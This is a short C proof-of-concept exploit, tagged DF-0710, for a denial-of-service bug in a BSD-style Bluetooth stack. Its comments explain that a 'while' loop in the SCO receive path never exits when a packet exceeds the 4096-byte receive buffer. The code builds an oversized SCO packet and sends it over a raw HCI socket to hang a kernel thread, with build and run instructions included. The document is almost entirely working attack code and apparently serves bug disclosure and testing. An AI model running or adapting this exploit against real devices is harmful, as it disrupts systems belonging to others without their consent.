DF-0710 / sco_input_hang.c
/* * DF-0710 PoC - sco_input infinite loop (thread hang / DoS). * * Bug: sco_socket.c:221-222 uses `while (m->m_pkthdr.len > sbspace(&so->so_rcv)) * sbdroprecord(&so->so_rcv.sb);`. If the packet exceeds the receive buffer * hi-water mark (sco_recvspace=4096), sbdroprecord on an empty buffer is a * no-op, sbspace never grows, and the loop never exits. L2CAP/RFCOMM use `if` * (drop packet); only SCO has the broken `while`. * * Requires: root + raw HCI socket, OR malicious paired Bluetooth peer / dongle. * * Build: cc -o sco_input_hang sco_input_hang.c * Run: ./sco_input_hang <unit> <sco_handle> * * Precondition: an SCO connection exists on <handle>. */ #include <sys/socket.h> #include <sys/types.h> #include <netbt/bluetooth.h> #include <netbt/hci.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char **argv) { if (argc != 3) { fprintf(stderr, "usage: %s <hci_unit> <sco_handle>\n", argv[0]); return 2; } int unit = atoi(argv[1]); int handle = atoi(argv[2]); int s = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (s < 0) { perror("socket"); return 1; } struct sockaddr_bt sa; memset(&sa, 0, sizeof(sa)); sa.bt_len = sizeof(sa); sa.bt_family = AF_BLUETOOTH; sa.bt_bdaddr.b[5] = unit; if (bind(s, (struct sockaddr *)&sa, sa.bt_len) < 0) perror("bind"); /* HCI SCO data packet with 8192-byte payload (> sco_recvspace 4096). * After 3-byte HCI header strip, m->m_pkthdr.len = 8189 > 4096. * sbdroprecord on empty buffer is no-op -> infinite loop. */ unsigned char pkt[4 + 8192]; memset(pkt, 0, sizeof(pkt)); pkt[0] = HCI_SCO_DATA_PKT; /* 0x03 */ pkt[1] = handle & 0xff; pkt[2] = (handle >> 8) & 0xff; pkt[3] = 0; /* HCI will compute */ write(s, pkt, sizeof(pkt)); fprintf(stderr, "Sent oversized SCO packet. Check 'top -H' for spinning thread.\n"); pause(); return 0; } |